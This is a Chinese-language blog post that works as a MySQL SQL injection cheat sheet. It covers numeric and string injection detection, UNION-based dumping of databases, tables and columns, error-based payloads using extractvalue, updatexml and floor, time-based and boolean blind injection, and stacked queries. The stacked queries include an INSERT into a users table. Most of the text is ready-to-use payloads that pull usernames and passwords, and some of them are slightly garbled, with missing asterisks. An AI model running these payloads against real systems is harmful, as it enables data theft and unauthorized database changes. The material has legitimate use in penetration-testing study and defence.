普通注入
数字型:
测试步骤:
(1) 加单引号,URL:xxx.xxx.xxx/xxx.php?id=3';
对应的sql:select * from table where id=3' 这时sql语句出错,程序无法正常从数据库中查询出数据,就会抛出异常;
(2) 加and 1=1 ,URL:xxx.xxx.xxx/xxx.php?id=3 and 1=1;
对应的sql:select * from table where id=3' and 1=1 语句执行正常,与原始页面没有差异;
(3) 加and 1=2,URL:xxx.xxx.xxx/xxx.php?id=3 and 1=2;
对应的sql:select * from table where id=3 and 1=2 语句可以正常执行,但是无法查询出结果,所以返回数据与原始网页存在差异;
字符型
测试步骤:
(1) 加单引号:select * from table where name='admin'';
由于加单引号后变成三个单引号,则无法执行,程序会报错;
(2) 加 ' and 1=1 此时sql 语句为:select * from table where name='admin' and 1=1' ,也无法进行注入,还需要通过注释符号将其绕过;
因此,构造语句为:select * from table where name ='admin' and 1=--' 可成功执行返回结果正确;
(3) 加and 1=2— 此时sql语句为:select * from table where name='admin' and 1=2–'则会报错;
如果满足以上三点,可以判断该url为字符型注入。
判断列数:
?id=1' order by 4# 报错
?id=1' order by 3# 没有报错,说明存在3列
爆出数据库:
?id=-1' union select 1,database(),3--+
?id=-1' union select 1,group_concat(schema_name),3 from information_schema.schemata#
爆出数据表:
?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='数据库'#
爆出字段:
?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='数据表'#
爆出数据值:
?id=-1' union select 1,group_concat(0x7e,字段,0x7e),3 from 数据库名.数据表名--+
拓展一些其他函数:
system_user() 系统用户名
user() 用户名
current_user 当前用户名
session_user()连接数据库的用户名
database() 数据库名
version() MYSQL数据库版本
load_file() MYSQL读取本地文件的函数
@@datadir 读取数据库路径
@@basedir MYSQL 安装路径
@@version_compile_os 操作系统
多条数据显示函数:
concat()、group_concat()、concat_ws()
报错注入
extractvalue函数:
?id=1' and extractvalue(1, concat(0x7e,(select @@version),0x7e))--+ (爆出版本号)
?id=1' and extractvalue(1, concat(0x7e,(select @@version_compile_os),0x7e))--+ (爆出操作系统)
?id=1' and extractvalue(1, concat(0x7e,(select schema_name from information_schema.schemata limit 5,1),0x7e))--+ (爆数据库)
?id=1' and extractvalue(1, concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x7e))--+ (爆数据表)
?id=1' and extractvalue(1, concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 3,1),0x7e))--+(爆字段)
?id=1' and extractvalue(1, concat(0x7e,(select concat(id,0x7e,username,0x7e,password) from security.users limit 7,1),0x7e))--+ (爆数据)
updatexml函数:
细节问题: extractvalue()基本一样,改个关键字updatexml即可,与extractvalue有个很大的区别实在末尾注入加上,如:(1,concat(select @@version),1),而extractvalue函数末尾不加1(数值)
?id=1' and updatexml(1, concat(0x7e,(select schema_name from information_schema.schemata limit 5,1),0x7e),1)--+ (爆数据库)
?id=1' and updatexml(1, concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 3,1),0x7e),1)--+ (爆数据表)
?id=1' and updatexml(1, concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 3,1),0x7e),1)--+ (爆字段)
?id=1' and updatexml(1, concat(0x7e,(select concat(id,0x7e,username,0x7e,password) from security.users limit 7,1),0x7e),1)--+
exp函数溢出错误:
在mysql>5.5.53时,则不能返回查询结果
floor函数:
?id=1' union select 1,count(),concat(0x7e,(select database()),0x7e,floor(rand(0)2))a from information_schema.schemata group by a--+
?id=1' union select 1,count(),concat(0x7e,(select schema_name from information_schema.schemata limit 5,1),0x7e,floor(rand(0)2))a from information_schema.columns group by a--+ (爆数据库,不断改变limit得到其他)
?id=1' union select 1,count(),concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 3,1),0x7e,floor(rand(0)2))a from information_schema.columns group by a--+ (爆出users表)
?id=1' union select 1,count(),concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 5,1),0x7e,floor(rand(0)2))a from information_schema.columns group by a--+ (爆出password字段)
?id=1' union select 1,count(),concat(0x7e,(select password from security.users limit 2,1),0x7e,floor(rand(0)2))a from information_schema.columns group by a--+ (爆出数值)
延时注入
判断注入点:
?id=1' and sleep(5)--+ //正常休眠
?id=1" and sleep(5)--+ //无休眠
?id=1') and sleep(5)--+//无休眠
?id=1") and sleep(5)--+//无休眠
?id=1' and if(length(database())=8,sleep(10),1)--+
爆出数据库:
?id=1' and if(ascii(substr(database(),1,1))=115,1,sleep(10))--+
通过判断服务器没有睡眠,ascii码转换115为s ,那么就得出数据库第一个字符为s,下面就可以一次类推了,就不一
substr(database(),N,1)可以通过改变N的值来判断数据的地几个字符为什么
爆出数据表:
?id=1' and if((select ascii(substr((select table_name from information_schema.tables where table_schema="security"limit 0,1),1,1)))=101,sleep(5),1)-- -
解释:security的第一张表的第一个字符ascii为101,为字符e
limit 0,1),N,1还是改变N的的得出第二个字符
再判断字符(ascii判断)
?id=1" and if(ascii(substr(database(),1,1))>115,1,sleep(3))--+
(left语句判断)
?id=1' and if(left(database(),1)='s',sleep(10),1) --+
?id=1' and if(left(database(),2)='sa',sleep(10),1) --+
Substring函数判断
type=if(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1='a'),11111,sleep(1))--+
布尔注入
Left判断
?id=1' and left(database(),1)='s' --+
?id=1' and left(database(),2) > 'sa' --+
Like语句判断
?id=1' and (select table_name from information_schema.tables where table_schema=database() limit 0,1)like 'e%'--+
Ascii语句判断
and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=115--+
堆叠注入
?id=1' order by 3%23
?id=1';show tables%23
?id=-1';show columns from 1919810931114514%23
?id=1'; insert into users(id,username,password) values(88,'aaa','bbb')#
本文来自博客园,作者:FlipByte,转载请注明原文链接:https://www.cnblogs.com/FlipByte/p/17107883.html
浙公网安备 33010602011771号